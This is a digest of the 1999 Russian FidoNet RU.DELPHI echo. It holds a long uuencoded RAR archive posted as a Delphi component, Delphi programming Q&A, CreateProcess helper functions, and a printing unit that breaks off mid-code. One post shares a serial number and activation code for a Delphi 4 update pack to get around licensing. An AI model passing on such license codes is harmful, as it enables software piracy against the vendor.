M4O]-WN;BBV?*!*D'`)IX,6\JY2%=@C@@WR4*?H'DQ$0E`JFB6\'@EY!8%D,U M9^W*ELB4C<94K7%QLXH,NP4+0A2?WF$Z0>,C)[&G>%\293!`X-C^?,O)S+R@RKDT)1!C= M(H2DL(1)\H!"6J7,\P8>^AQ./C!0A4GG^2HFF!P$`,F!9##J0B!+GO%Y`OR" M+V;R'#:;B'%%?8"B[^],*=4NZB\D*H*8T!$`_G<"Q6)H(05#+<4$65U*\Q2J M'\/?1!3*(+@PP*M<6%4LXII=.;]C$=+&,A@+E?O1<*71L(=L+0?N_:16(#?C M5.6UY8C35KA6E0NT1Q;V<=%O1R/@.AFW1K`R&_GS+! M.B)]P="4:$?-YIA]SN_7V][[2-LJX(,9^@6;G7&;H^6W&G$7?A)$;_)5$-MGPQRL83[C$I?J? MI8SK(X!(VZ0A:/B#;9U[!$K8H M'AIC;$Y66KJ%S/T':N.AHWHB^Y!T='/S'8BL[HYNB"BC"+1245[.5@4,N>!P M[:N5TQ6_Y&[2KC*CP ME04<.^$X.\(OPZ0OPX;L@=^Q1OGQ":`PSSSN9Q6B)]7LOI3RT4!C8TJ69UF@ MEC92"/F@M:8^-_9;8_LTZ'GCY(O"/ID#@Y>_'87)32N;I?X\`JEU%,-/G]!O M^C$H$?P9$T,^*U]E>?M_@5@LF:!#X,B8[S;%;.^F6.6`3"M*Y$FFI M@@?L0Q($GY,G\GG%:__YWD_``P176APLR>?J;=L$L[Y&&:-)OUP:1WB3$5A' M#2TN`L:>CAPXJ.&SD;E:29>-/;.J]E+8V2BF!43>`65$?8$BD3/90:E+:H>H MI!=>GFO\+1UW;:(+T`PH^5Y!T9$H@2)5HO]'.SP^G.S-VSIHZRQJ$6WRDLR& MOGFN\2]OA7'RPS+ET*>OJV]1,K7IH4,!'V"I$1(TX]OCFPJQXNQS);Y(K_KSW^]" M'21'E0^$N#SYV^HC%X?)=`![,-#6Z_QXQ/B6E'HN.0%;$6[U];Y+0.[^SM=0 M$"W!9!*N7K`2?J.?2JZ))*9LJE:],NF=`+4,`N8S','_>C52/&C&1H@C-MKT MX4",KCH/DWM5'C+K)K"%,%;6,WKCU.FF=R[5MZTYW+-78ZL]W*KS"N=!&]>$ MK"(LU.\0E<\;0QA77(.ZH+*%+2FD[W3A9V7^V#:82`H6`9SM>2P8%VP+.A[> M:@_#9$OO"%8#3UYV[!8$%@`)SF='1=Z'O:.:[H5^?@Y>U):*I]^$B6U2N\%& M[H.^FH=];U45%[>>#9G7)NY67H>]@)?C?4+Q'-:Y8DNMH<#9K#0B>A-U;^/_ M[D?`FQ'=3PNY_/Z;B1WEYITDM\AERQQR;[-8DER*(U2B77&<9<(2\?5\WTH< MK\;S(<3E4OR4G&"V62LIXEZV^/)>RO#.$M\M"#"$MW?][[@<4G`WWL0;<+)Q,D;O$(-K4E)@/IC9;RE)>W`;39VVE)E>O<80O1 M6BB(36>V\M7*#@KH^*&)/;RL+Q=T_K[2]K+56]PGLZA%;\K(T+?S0?*3_E?? MU?@E->NG1V54BC_/9P)['4T1>/JX(K\N[2:!PG%:E\CE02/:0C](;2&,U&PU M2MF`V`*YM8^ASR[Z^C9Z#N>[F9BVAT#BQ)1A*]_5*'^55%Y)6VR)J!4AR1_P MAN@V6:;K6Z&EIZ>/*MAD7P-ETP%J[F4O$Z/G"#\+J]E75RQ\;^0:?'N1O M!X[\A3SWF,K(QLCBE*'_V#PAO&B'-N,Z-!YGG(FT=H*7[7%#\2@CE%.W:2TK sum -r/size 40437/11160 section (from first encoded line to "end") === Cut === Alexander ... mailto:GroupStudio@mail.ru | http://www.akhome.da.ru --- GoldED/W32 3.0.1 * Origin: Работает "AKServer" по различной тематике. Мыльте ему (2:5019/10.99) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 306 of 341 - 235 From : Alexander Kramarenko 2:5019/10.99 23 Oct 99 12:40:00 To : All Subj : AKdTopic [3/3] ──────────────────────────────────────────────────────────────────────────────── Hello All. === Cut === section 3 of 3 of file akd.rar -={ uue 1.03, ARA (C) 1995 }=- begin 644 akd.rar M+4G6E3>B^79[%M7KFW*:5).;]O+:$NL>C8S2U&!F>C9O)'.SAY<,/-3X[/8Z MW6O^Z1?00"38'>!6!K\OH9>@4.[:OY5`_/ZIZZTJ(*'SL(>\>.@=W-SP^'>\ MC'T[GV^(CS$3>?R>T$%JQ[WU$`9,`+"+-,+H$OI#[NA?QOVA"JXWHQW\E#P[ MQ)QZ&;;@/A/[-WP;B_U_!+FK4+C2UNH3154W=0$G'18_`[AZ>(RF3Q]3M,?Z M<>.17T?\%MFHPF%0BW%[9&7)=#! M9^@?7@V'58Q9&;]+V]!R^PB._?2(Z?,Q59K4M^9E6R8JS1J)[\ ME'!.=ME@6J3":])9D,X6$:3F/8R56F7#A8JVPX\:'H+<[!J+"CHR48FW$N=H MA/;@B\-G.TEQ`:)MZ?P0=[#].>;I[Z!))Q)!3_&[]*/,I$`F#WY!J7+^R6/8 MJ5*-1HH0O/8@@HP4V:0!![%:M>)QEYT?*]U-^NVS6*5T:;MANK8_G#%IUQIQ M1@%AA#EO@'6KK`^]5JG0WVM#KA;K=UHON0T9@*G*C])^M"(I76>AO7I/;[`\ MS4A:I.2H85(PT\91EO@:K;T![ M7^!9=?\ZW4X*B'\Y>N`JLB%O0\XX5(GI?:JN5RJ=EJG7.NX0"S0TXO:M<@0V M'Z=*P9X@%Q%4X4Q55XZ1-E19O`V0$*;1U8>OD":P[=#*4R`75B`JQ<6'!\CQ M4X#W5RM'%C3B,HN75\UM$]QU8Z1=I4ZD1-0KJ-&]:O0^5HSUPD/@WP+Y@WSQ M'3'R=TYP@]U@K1MTGJ40E/?I][SA\WRNH[7X3$2W=6J3XDHG;*K(CGX<,U2I%XZ=&FR/3 M.>&#+S=@!?'R%GHASI%4YEGG:QD"I%ZJ9T6]L79I&!/K5K$!")JBY5X<0)JY MRP%!X@%O,T7H*U(L=J5BG8J&WNQ"BG5;KAFV4*S<>C,F]'2+U/SD431`F4-^ M5HZ*A/B%3/S2I&4(>R"Z1!G`*Y][#4U3+%:.$I@X@F>"JQ_K$#;I74@WR'K; M5UJ'J.96=*T<1P.]E9JZUC\WCB%*Y\!F3\56;K4/R[1&!T=(Q2'9/#2*T=8_ MS8%[*ZD!^&G*X>P]["K`E2+->]T4-,JG`T#C0$$(6FE>$VC<"QX8;TZSD!4C M$08(]E0A'*L(ZIA*Y4C8`=*[;A5/P$(7ZU<@%LTGJAY'"!#$R]!$Y`['2,+7 MAFIJ$"8!/?9\\0CC+C\63[9`FJUX@[W6"`78>`T9D"!"W%,=J$I6C:`T<0E> M[3K3QY:-0KJ#,&]$3!=6W3,'N;*T;1HZIS'[JZ!_CW4RN>`4TXA+%U;:BD&C M^NT;4(8LJUBZF%IU#W-E=0\-.B,)KJ=6BV>ZH5HVC7M`;ZZNNT3/UW"N>;&C M>ZO7K+'A/`Y49:*D:50&[]ETA''H#(,T6>!A51K@*I5/"BG5BAI%2-X3Q57' MBJ=X[Y]C;+I&+^F,\M8JL&#\%B'Y".4JPP!K5B!,,#(6U:1`+KU#F.F3($+E M8QL7#)`+I07A&.K*QX:CS[E=H@(5SKQ65W2!,K5[*T=9UZQ#U[?:*M'PAA&X M@WS;E<\%3AQNHTNT9S+T5#<\#15B`4P-^,KE4KJ0-#3EA\5HZS=-LRE7?3J1 M4TW6BN?#SA#CI^UZX9\8*]BB5HQH@Q>Q;<".?)YXYQ74BIHU*PU^"$]3D]*D M:M2C5,@^53LP460/+P53K48J:5@JLL5*=)RHY=:MY'*8V/"F%:]YYJB,GT%- MZ]$!5/#!]ME[^92LX;5(8E+UPS_NU!;4I@A.-&DI@=^"`6Z*G M*@#K$H0"P*X>0RJ-35-_UVC=9?.*U4WUJJ_5/=7*ZC=@Q\1+EUO<\\:NP5HW M3Q5P*#=6K#SA[A$2?"NJ]2B$;7H4F$/(?-\K1NV*)GWF]]A#1:/=8*ZD3E%L M!\+'86UHGNKE:-VJ+HV'$;/K-,\`N-'2+=.G%#!4*ZE&S=*D3YWD@%CRE=>C7J0U*D8@J)QJAP5ZX=*C2-(\5(FQHB9TB!Y$X\, M^#Q`+>%P894B'LX3#IQVL0"W#?&9-,0(:XS1V+#M18\+D+QHLD":D-@BL-78 MI@86!V!E&IJG@>%:.`_+5@X5UJ71TV=8KGT5;72QX3_`3]TK1P0V("P\6,$7C_G3R(X.B=?DJ1'#9;-`W26/#5?A,=N'8HC9YJ$":G3B^&K^6 M,#):93SA`FJWN(J<.S2$Z($(V;GKQOD`OA)NJ]AM?'M5G`*T;YEQH;07 M6(:BV>YPKJ-5AHY-5R!X;BG4/=3*T8X$!LQO>E*ZQHSW-KXS;1LX#^/E=0S+ M\)'6RM&^.%O$2_=1I]C1(IEC`U"[6%S('"M&_`\\.,UOT9UZD?.H5 MU!I:.1$P(X/*<`BI&'#SIX:I5.8`]E8;#1"TMO&Z:=*I[W'P&6-=(UXJ!S`: MQ59%(-D.)9'$=:/+%"\53@GO)W_&._-I6[=KK#I$[*_ MOUE.M>L\]B"SER_J_<\YN=[A?E'UF8UE;1YZ_NQ]:D>$7(U^L74/(IK&I4=+ M+=_,7;B+IA>X$+1D#0HQT8/;R[.A!T6!#&$'^DB\([6F2.IC?/]W.Z- M]107"I##4":5VJD52RSS[D%SL]A(%E8?C[KP^ M1](\69V%4+EI%P*/6R)J-96Y7K93R;ULEPI4$^?V,NP.0B$CXJT?H!/P?98Q MTJUVS0C+%4J2UKG%+!_!JXO,I2%<$1^>G[-%-`-8/XLW/#V_TTDS-OEAB'4N M"UATG/7#^/UP[PN$85-D*B420""`?S)1[HI+*]I+`*1.I7`9/Q);B5$JT5'< M[`/6X1OFTI]8'2!<-9#[:<9'Q*)5%CYT&+#Z)R)5E)X5S=LI"J@DHL4GQX)A MPE?___I]1)D55?7'07E$>:>A^15GB]_P;G[AD%+5PMCVCW7D4W507T(1]\%1 M'M;WW;G=\OP8F9H9=U0A_*F(CJ9$!D3/5>V2=7]_9DFG2:^($>_RT'[&;]$\ M@$?$V%P#1+@(E+E>TN<\Z4D'7M*-0J4>\E3C(ERS=6K"WMP+')1<&%%K MCS4#,$7+'P<#_63Z$OH?A3![L',_>%C]Q=]`!"E+=6I'2TQUY*Q7IUU<'X6+ M/-=G^M]'&("\1SU0K*W3]2.H1^4-W]TI/S8QDZ),+L:9?C!=L','!PU7L8:K MC/7?G,R`XN[$Z;DGQ&!Z+D3[_>3OW.2NC9F$R..==CQUL"2VD,+=FGBR M3`B4[Q1+S,BNFB:I^V+OW)OA!L6M_ZX^L//)]\2K<%KL#?^QNW)?8W*?]C;N M*:`2%M#^I4`:^[W)&@A^%*]T9=M+-]!KF;/8M!\``-[4*MSP=I?JT\E@5"H0 M09+8E"=?WQ=8+G'_'O<.\PA_$[P1RL6]\8>Q27*`2>4LE3504*TZAZ@(]@LU M'G(P//[R'L4I?KTO M@)DW01[1/Q4MZ2]0-/F$*@RN`VEF#&1"./HL:+[>C]'/0E@-XX,RS!]"4]J' MUZ#\)/H,,&_%;.KIVIY85UV6GK_T,"UDC1'KQYMOXLKCFOWI9WS:T^,OUDRK MXQZZN@IESP(0\N5AC%$#OPCG:H19ZTMDWJ++$FOZZFRF)+I)C1[QO9C:_G[. M,KQ<[#U5'1.$BX=562?A[+'Y&6L94)_1O,9'V-C'+)V_F105+E25-`DQ#7*A MS-B=LER5TH7)]^(U:`V,;)]^0)?P2(W1CX%VTY>CR9]2//>#OA+0%*\\1$!Q&-!K M_[7@W8`29T'C-P9G/44Q'KZ0KVI$A\OVI%D!Y?^O&=^WT;J1,&^H$5\:!]OB MYOZ=32#*P>:IR?Z.9P))UR\)?Z'`_ZT;?;O2I[)97^1,:)&WD/0]+[4LH*#] M^"A737P+1("9(8ELY<6P;+3?D,+UJQ`DPXI29"VY%E*P?:T8E$7Q'VM"E>O_ MDE:?P!2'0W5(G&W/Q==D*KL`6?LA_]8>[KH$I9^C!F9F7GV'U$AS`P8.2%JX+4G2_]KRU^UXPWEL0]KQYF3);,7P^;@0 MK1()_'B[W<[6X3;[$#,>8=&;N;V(PK8JZZLYV7^GFY^D.)4A8M$1VAIW7)1! ML2FG$KOPPUT43:>AHAGJFLVMJP,TMOD]4QSGD%67_HZ?R&K5SJ=W`4Q7LC$% M.R@,'N0A_7QWI_VB'-SICCZ1%;6/?D^/UX[HG]+/:U;]3>#,W6%7)Q0U#0`@````86MD=&]P:6,R+FAT;?_`P!45$,C0 M``&5ORM^9F)-L-@1*($>#C@:-0@&CFB46ZM2/AFH2B9:;":6MA^W>$S!RVWC MQM8T8VS6>>K4+?`$B1;ZC!ICS&]YRJKMWV\^&\S'@$1)X1LMYEWV^_-?7:^? MQ'4NKB[VDJ2XERN*N;4[Z_;>^;;G?7MY5_O[P_?KXHO7[-#\C/:UD`W]]*-: M[BFCT!MV>E)/6<\9O4^,:*R?"3D8O3<)_1*=0YL]ZMSGO1MQHQF^-]41H@-C MD>(@J&JZ$,>E5I9]@^N?QN>J#7L)U]RJ=;.S@TX9&[-SH:%7RQPI0\5,*3Z_ M+JP&3>()!C$&A6?B0>FNBM1:C7$.PU8A"2Y$TZ9E+9W5AU*,`B\%'IX.!V\0 M$FG0'R3.G^LYEE-4HH.3#@V=;GIQ)S@0&?P_JYM"8E\TK5!__W73C%U`>O_6 MA+:):@;J0/8_+0=.ITDGTD;41^3WI6R515YFC4\&9Y4=T$3'%A2GK[^7,3IZ M"-ECJK'G8'J+%X2):=B)ALK`%`0H^F[:NWR;L`T6\Q(JVZ8@JGUI9]E"<#@] M2;/1[F24==62O]$PK%M[*&]%EZWNDL>;P2JNZ8BALA$(^._7"C<:M!$D*Z'[ MPVODC!91M@\?+";MH>83-JU4;$N4XS-MT#M)XZD._F6WX"\HY!:&HG3H29!_3L=S(,H`@A9H53NW^D69,.ZS M3S$(P^^3J]?P;7J^"1JZW8S$AX2F,G^:7P.56#T%*\;M_WY[*+KU.[F=Q/F0 M]U=,F,FOE6GM+/=F]Y55!$$+BL2731/T=V9&..Z39WEA5^")T^L0Z3"'Z\90 M";`)$G]ZJZ_%1CK!GMLD*S1SFC&&&U.1-]P_+K[KB=CO96\3Q2((@[1*WNS3 M;`],1==L8(G!VL6[+BML/>%F#B%Q:\?LY>4>W!8![SB'%_6"K0INU?+&%&\M MAS2%"]/*5U.=6O/\J6CJ!$F(^<@N#AHB&;S$Q,!96>&:%;=%R(9A=MA=MQZ. M&)`$K?DHQ0Z[W:!INES7NNDBS5B!G*E3PK--*$4W%LC4-,AC9+3!2^N0,>=8 M%8-S+TR>,5_#6JB`\"CZC>\,@N7VX^5W"G*`FQCNF%ZTE9L`(Z4!<;;*XV5T M-#(60NO-ON9G,*FO:^=8!HZFK)N]TTV'MBZ7I'<10QB?FP<;[N[W\O& MY_\<3'Z6/QKUT,W+$"XPLJ+-0.%F';W"[\ETGV^;)]QEMT;T^WQFRVL['URE MI9F1JZN\G:SM4W&7*GX!.?')"JML'06F:IRL"HQ,`N$X%UA7G&G/<,6'!__"4E*3#X#0[-TG<-+XS=D9/'QC13:<"F4CR! M(6LYI<@1HP(\1$E%%`I6+-$ZS?BBHQ;-*G7JA-%NG/4>:Y:,@`&V8'@9:BMDA@UUP*MC]P8=3W40)-^./0CPH"[5`0, MEK%*O(6B6T5OERJ2CHB&/91UY_)5ON:;$992]4>9X??@]HXAZ^ MK)ZZT'!3T4-,3*.H9I(!^4G.911,NT`-G8O.(#7M#E<\GUN)Q;^;QV(S=V^: M&[N_9T_YY'.W#KAC[5,7L[?$TUMG:BT]Z^OG?<(V+K?$%G,^<5-Z3C-[E=^GNY:%1D@(MP5])MMD247O%32LZW*MN5(4A\(;8Q@G*5 MC@["I\N>_/(G^I>$YGMP>5ENHEVL;9L`GA)TIA!)B>0X&)N&X$V>$`_#O'$# M!8('+K#F9W3*G<+SYI!H^W?O?$ED+^MGN,W[)LNO>9W;>;#O=HEX%F\K5*KI M45"==VPKK,9F8Q>N%:/@4";@>],]T]A%RNTLJ`H+]TG>R^_?5T;'L%+H'A"L M+A@A^\4^*&?V,!J`@JL$W4-0W]XA=8CI8UB<2YL'^,QPLEVKTV?O0X;FE&I$ MDF7J48M'68AM8:8R,;J](2XG+_D<:8.TN(1/-!QI9S9@JK9RJV+LN`5G!H_\ MC;+H,"^D))E8M.%8+H!]#0H,[)=NU/H:Q4-28L5X?(E*HH+:53=!Q24+IFV` M!TP.-5-R@-N')A,, M$'L)YPA$X(PJ$$,8D[JDB/6:?-H[YM8RP$;(1'E63KTV7H];U+!2COM(1*AC MI^:D8NV3R+YAI(M47T44Q32@`3I%[;@H21@\I:WE:6%S_QY".SX+G M(N0/DG>22&_/1K1!!]QZL1'L/SY;42?W_B-&:A#$S5119_RG,[&L:>^D'L^P M*D"8T1TA['O>->XEN1<.X?+-%[/2?.]0MX![7TIH'`3>2^!$=YT2<@MF&ME16NHM$1>O(EP\$M?-Z\B5"W^ZZ]*B4?J3V<(OA_.:` MZQ=/TV[9P5M&\/)10P:AOP2?1B?UQ.PL^;G(*O25EGA M0H%.X=J&^<E2HDP_#$!1H0D*H!FY.6(3U*BZ3D)`UN$^.UD8YASV?\\83 M*I2G'64G43EL9;&10 M@%]PJ/I]%$6$847AJ2+9SET/+Q3VHK M$^51O;"SU%<>#K8W1"@Y%QC`0,PO^-U\ MS)7Z8Y2U_">'6,<;CY'&G\#))IP!]4P8>_2>\78:FC$$BH+6FU5Q8]RS&.@O M8S.'EL)QQSNQ#^W'MRH5#"51Z+SG8Z@X_E<"Q2RU*?U,^,W=*3/]`^)13**#0@/KJTZFK#J/3&/./\ M4#'R0[09&+3W,`A]$@[%J&M&&YU#Z&08,-+8B,*:P'00"N$,O\>E?1B`#@8=A8,_S_T>!'+9BI!-0T4V")6 MV0:325CL=BH,G\-XJ0:.Z:/6U@_$03M'GRGXEW^`0\66)+%S12$>CH](`T,6 M7!1),5\-;QE/TZ#1"![P(5C^6_D^F@:UF-)4G%4",0K&$$,0PG`6TJK*GKKZ MB2NFIL'*#%`'4DCM$91Z4`P(KB6YR[R,^#PP$MV(A:A28I4@X$)"+BK"\+0R2)>'8/\D0A MUU8C%(8JURW@C2B16<2@(D6"4B\2B*1\L!`!0\>[IM2(R^Y%AB?]'JQ&.QT7 M1ER@0RD=`RV]PA:XA(9=K+@"8I&9UQ?AB'P2)TV[$>0VAN8EJ$TU<1,Q^#LR M]O$JHC&"?$>_!;R^A!C!@4OXB*:<0E.ZP?<20X&:";-E564)VH4E"R]$X"4\`$_6VW@Q+ZD0#!B/:`)D M,T&JL4+D_:R!]V(.F`R,`F_I_5%'>GL5AU\$-@W! M89O!52L^`PZK,(4(C*=^M*(T+\WQ%@',)#QL\00I;"".5:^PUAF914 MZP``XE3TO[2+(KPU_H^BD,NXF!=0RF3%Z,'V8O5Q^D?5N-S/EK?`OHKZ][!< M\:_LAN`LC_OP#]?&3:PE=P)'X06K6W9-^A:0(^+CIC]PW#/3)-P]PSZ#V_() M.&<694M;>&E$+BA^`8?W-33)[AI,>B0>N^A$ M;]*T'Z1Z=`7@[`"4(F>?I[G>5KX$[YL+DST"]E:>YG5`*A+IL*"3V%/V3!P> M From: tolik@katren.nsk.ru (Tolik Tentser) Hi, Serg Vostrikov! В чреве акулы, пойманной Sat, 23 Oct 99 12:00:00 +0400, дети капитана Гранта нашли письмо на тему 'Hе совсем Delphi, но нечто рядом...': > Братцы, а никто не знает случаем, где Ms Office 97 картинки для toolbars >держит? Exe и кое-какие DLL я, разумеется, проверил на наличие соответствующих >ресурсов, но ... увы. В общем так. Запускаешь Word (Excel, Access ...) Видишь на ToolBar понравившуюся картинку. Hажимаешь на её правой кнопкой и говоришь Hастройка (Customize) Появляется окно с настройками. Hо ты на него внимания не обращаешь, а опять кликаешь правой кнопкой по картинке и видишь большое меню, в котором есть пункт Copy. Делаешь это Copy, а затем там, где тебе надо - Paste Enjoy ... = Иконку в system tray (где часы) вставляют функцией Shell_NotifyIcon = Bye ... Тенцер А.Л. tolik@katren.nsk.ru ICQ 15925834 --- ifmail v.2.14dev3 * Origin: AO Katren (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 309 of 341 From : Silin Serg 2:5020/400 23 Oct 99 06:32:00 To : All Subj : Install Delphi 4 ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: silin@mail.ru .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <7uqhge$i8e$1@bison.rosnet.ru> From: "Silin Serg" Ребята, всем огромное спасибо за отклики на проблемку с установкой Delphi4!!! Решили проблему, прописав в реестр строку (по совету Evghenii Belyaev, ему отдельная благодарность) [HKEY_CURRENT_CONFIG\Display\Settings] "BusThrottle"="on" Теперь все работает. --- ifmail v.2.14dev3 * Origin: Russian Telecommunication Network (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 310 of 341 From : Alexey Ossinovskiy 2:5020/400 26 Oct 99 15:13:00 To : All Subj : Delphi4 & WinNT Workstation ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: osalex@hoaxer.opensys.tsogu.ru .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <7v42ap$rh5$1@hoaxer.opensys.tsogu.ru> From: Alexey Ossinovskiy --- ifmail v.2.14dev3 * Origin: Open Systems Laboratory / CS Department / TSOGU (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 311 of 341 From : Vitaly Lukiyanchuk 2:4625/8.31 25 Oct 99 12:25:00 To : Mike Bel Subj : Adobe Acrobat - нужен компонент или библиотека для просмотра PDF формат ──────────────────────────────────────────────────────────────────────────────── Subject: Adobe Acrobat - нужен компонент или библиотека для просмотра PDF формат Hello Mike. 21 Oct 99 10:41, Mike Bel wrote to All: MB> Subject: Adobe Acrobat - нужен компонент или библиотека для просмотра MB> PDF формата MB> Hеобходимо написать просмоторщик PDF файлов, MB> помогите кто чем может :-) Ше раман спа си джур (я не ел уже 7 дней) надо себя заставить (с) Городок я вот только что попробовал: У меня на машине установлен Arcobat 4 (не Reader, а полный) Я заимпотировал его ActiveX control (C++ Builder 3 у меня), появился компонент TPDFProxy. Свойству scr назначил file://c:\temp\1.pdf и все заработало. Vitaly --- * Origin: Happy People Have No Stories (2:4625/8.31) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 312 of 341 From : Black Tiger 2:5100/13.64 28 Oct 99 10:38:00 To : All Subj : D4 update pack#3 SN&AK needed ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: alpha.rcc.lv!not-for-mail .RFC-Distribution: .lv .RFC-Message-ID: <7v8r0i$62s$1@alpha.rcc.lv> .RFC-References: <7v6od6$fr6$1@news.lucky.net> .RFC-NNTP-Posting-Host: 195.216.173.27 .RFC-X-Priority: 3 .RFC-X-MSMail-Priority: Normal .RFC-X-Newsreader: Microsoft Outlook Express 5.00.2014.211 .RFC-X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 From: "Black Tiger" Лови! S/N 123-123-1234 A/C 8e2x-5f0x Потом убери "x" из A/C Regards Andrey Kostyushin wrote in message news:7v6od6$fr6$1@news.lucky.net... > САБЖ. Hамыльте, плз, у кого есть > > --- ifmail v.2.14 * Origin: JUNIK (2:5100/13.64@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 313 of 341 From : Gosha Drozhzhinov 2:5020/871.96 20 Oct 99 13:35:00 To : Marat Mukhametov Subj : d4 ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!p96.f871.n5020.z2!not-for-mail Hello Marat! MM>> All... MM>> Мне нужно подождать пока отработает архиватор и распакует Если я правильно понял, нужно подождать пока отработает программа, которую ты запускаешь в ДОС сессии Я для этого использую след.функц.(кто-то кидал в эху,но я потерял концы, так что сказать чей копирайт-не могу) ----------------------------------------------- function TForm1.WinExecute(APath: String): DWORD; var lpProcessInformation: TProcessInformation; lpStartupInfo: TStartupInfo; P: array[0..254] of Char; begin Result := -1; FillChar(lpStartupInfo, SizeOf(TStartupInfo), $00); with lpStartupInfo do begin lpDesktop := nil; lpTitle := nil; dwFlags := STARTF_USESHOWWINDOW; wShowWindow := SW_SHOW; end; FillChar(P, SizeOf(P), $00); StrPCopy(P, APath); if CreateProcess(nil, P, nil, nil, False, CREATE_DEFAULT_ERROR_MODE, nil, nil, lpStartupInfo,lpProcessInformation) then begin WaitForSingleObject(lpProcessInformation.hProcess, INFINITE); WinExecute := lpProcessInformation.hProcess; CloseHandle(lpProcessInformation.hProcess); end; end; function TForm1.DosExecute(APath: String; AWaitTime: DWORD; AShowWindow: Boolean):DWORD; var lpProcessInformation: TProcessInformation; lpStartupInfo: TStartupInfo; P: array[0..254] of Char; R: DWORD; begin Result := 1; FillChar(lpStartupInfo, SizeOf(TStartupInfo), $00); with lpStartupInfo do begin lpDesktop := nil; lpTitle := nil; dwFlags := STARTF_USESHOWWINDOW; end; if AShowWindow then lpStartupInfo.wShowWindow := SW_SHOW else lpStartupInfo.wShowWindow := SW_HIDE; FillChar(P, SizeOf(P), $00); StrPCopy(P, APath); if CreateProcess(nil, P, nil, nil, False, CREATE_NEW_CONSOLE, nil, nil, lpStartupInfo,lpProcessInformation) then begin R := WaitForSingleObject(lpProcessInformation.hProcess, AWaitTime); if R = 0 then if not GetExitCodeProcess(lpProcessInformation.hProcess, R) then R := GetLastError; CloseHandle(lpProcessInformation.hProcess); Result := R; end; end; --------------------------------------------------------------------- --- * Origin: Дежурный origin (2:5020/871.96) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 314 of 341 Loc From : Vova Lotysh 2:4631/10 03 Nov 99 06:36:00 To : All Subj : FastReport v2.31 ──────────────────────────────────────────────────────────────────────────────── Hello All! Рисунки не из БД. Пpогpамма во вpемя pоботы создает постоянно два HОВЫЕ BMP pисунки. С помощью какого обьекта их pасположить на листе отчета ? Пpимеp желательно. Sincerely, Vova --- GoldED 2.42.G0214+ * Origin: Incredible Mashine, Lutsk, Ukraine (2:4631/10) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 315 of 341 From : Sergey Akimov 2:5024/11.67 29 Oct 99 23:08:00 To : Alexey Syschikov Subj : D4.Печать PRN-файлов ──────────────────────────────────────────────────────────────────────────────── О многоуважаемый(ая) Alexey! 28 октября 1999 02:42, Alexey Syschikov ==> Boris Ladygin: AS>>> Hарод!!! Пришла дурацкая нужда: надо из проги выводить на AS>>> принтер PRN-файлы! Раньше под досом это делалось как copy BL>> запиши содеpжимое AAA.prn в файл с именем PRN или LPT1 AS> Это, наверное, работает напрямую с принтером (не проверял), но AS> точно при этом не работает Spool-ер. Что главное, так как из программы Hу раз тебе ТАК надо через спулер, на для примера... === Цитирую файл print.pas === unit print; interface // // надергал кое-какие куски из своего репортера (плагиат чужих идей :)). Может // пригодится тебе - это универсальные п/п печатающие один и тот же текст хоть // в графике, хоть в тексте (в зависимости от типа принтера - если жестко не // указаны константы MATRIX_PRINTER, LASER_PRINTER, то идет автоматическая // настройка на тип принтера по структуре DEVMODE). Если установлен бит // PRINTER_DIALOG, то выводится диалог выбора принтера, иначе идет работа с // принтером по умолчанию // uses Windows, SysUtils, CommDlg, winspool; const PRINTER_DIALOG = $1; // \ NO_INIT = $8; // | эти битовые константы суммируются // APPEND_OUT_FILE = $10; // ==> и передаются как входной параметр MATRIX_PRINTER = $20; // | для п/п PrnStart. LASER_PRINTER = $40; // / FontWidth: integer = 0; // FontHeight: integer = 0; // Это переменные для установки FontWeight: integer = FW_DONTCARE; // шрифта на лазерном принтере FontName: string = 'Courier'; // var DocName: String; PrinterName: String; procedure SetPrinterParams(PrintName,DocumName,LaserFont: PChar); stdcall; function PrnStart(Mode:LongInt):LongBool; stdcall; function PrnString(Text:PChar):LongBool; stdcall; function PrnFile(Name:PChar):LongBool; stdcall; function PrnStartPage:LongBool; stdcall; function PrnEndPage:LongBool; stdcall; function PrnStop:LongBool; stdcall; implementation type PrnRec = record Cur: TPoint; Finish: TPoint; Height: Integer; end; const MagicLaserValue=300; {dpi} FHPrinter: THandle = 0; PrinterDC: HDC = 0; _hFont: HFONT = 0; CharSet: (pANSI,pOEM) = pOem; var RecPrn: PrnRec; MatrixPrinter: boolean; PrnType: integer; procedure FormatReportError(st:PChar); begin MessageBox(0,st,'FormatReport Error',MB_OK+MB_ICONSTOP); end; Function LeftSubstr(var s:AnsiString):AnsiString; begin SetLength(Result,Length(s)); Result:=''; while (Length(s)<>0)and(s[1]<>' ')and(s[1]<>',') do begin if s[1]='"' then begin delete(s,1,1); while (Length(s)<>0)and(s[1]<>'"') do begin Result:=Result+s[1]; delete(s,1,1); end; if length(s)<>0 then delete(s,1,1); end else begin Result:=Result+s[1]; delete(s,1,1); end; end; while (Length(s)<>0)and((s[1]=' ')or(s[1]=',')) do delete(s,1,1); LeftSubstr:=trim(Result); end; procedure SetLaserFont; begin if PrinterDC<>0 then begin _hfont:=CreateFont(-MulDiv(FontHeight, GetDeviceCaps(PrinterDC, LOGPIXELSY), 72), -MulDiv(FontWidth, GetDeviceCaps(PrinterDC, LOGPIXELSX), 72), 0, 0, (FontWeight mod 10)*1000, 0, 0, 0, {DEFAULT}RUSSIAN_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY, FIXED_PITCH or FF_DONTCARE, PChar(FontName)); SelectObject(PrinterDC,_hfont); end; end; procedure 